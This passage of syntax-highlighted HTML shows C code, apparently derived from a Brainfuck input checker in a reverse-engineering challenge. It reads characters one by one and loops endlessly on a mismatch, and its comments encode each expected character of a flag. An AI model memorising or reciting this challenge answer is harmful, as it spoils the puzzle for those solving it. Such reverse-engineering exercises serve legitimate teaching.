punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">7</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">172</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(174-17*3)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">17</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">174</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(113-8*8)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">8</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">8</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">113</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(160-13*5)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">13</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">5</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">160</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(148-11*4)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">11</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">4</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">148</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(82-6*5)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">6</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">5</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">82</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(171-11*5)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">11</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">5</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">171</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(114-9*7)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">9</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">7</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">114</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(128-11*3)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">11</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">128</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// chr(102-17*3)</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">getchar</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    ptr <span class=\"token operator\">+=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">17</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">{</span>\n        ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> <span class=\"token number\">3</span><span class=\"token punctuation\">;</span>\n        ptr <span class=\"token operator\">+=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        tape<span class=\"token punctuation\">[</span>ptr<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ptr <span class=\"token operator\">-=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> 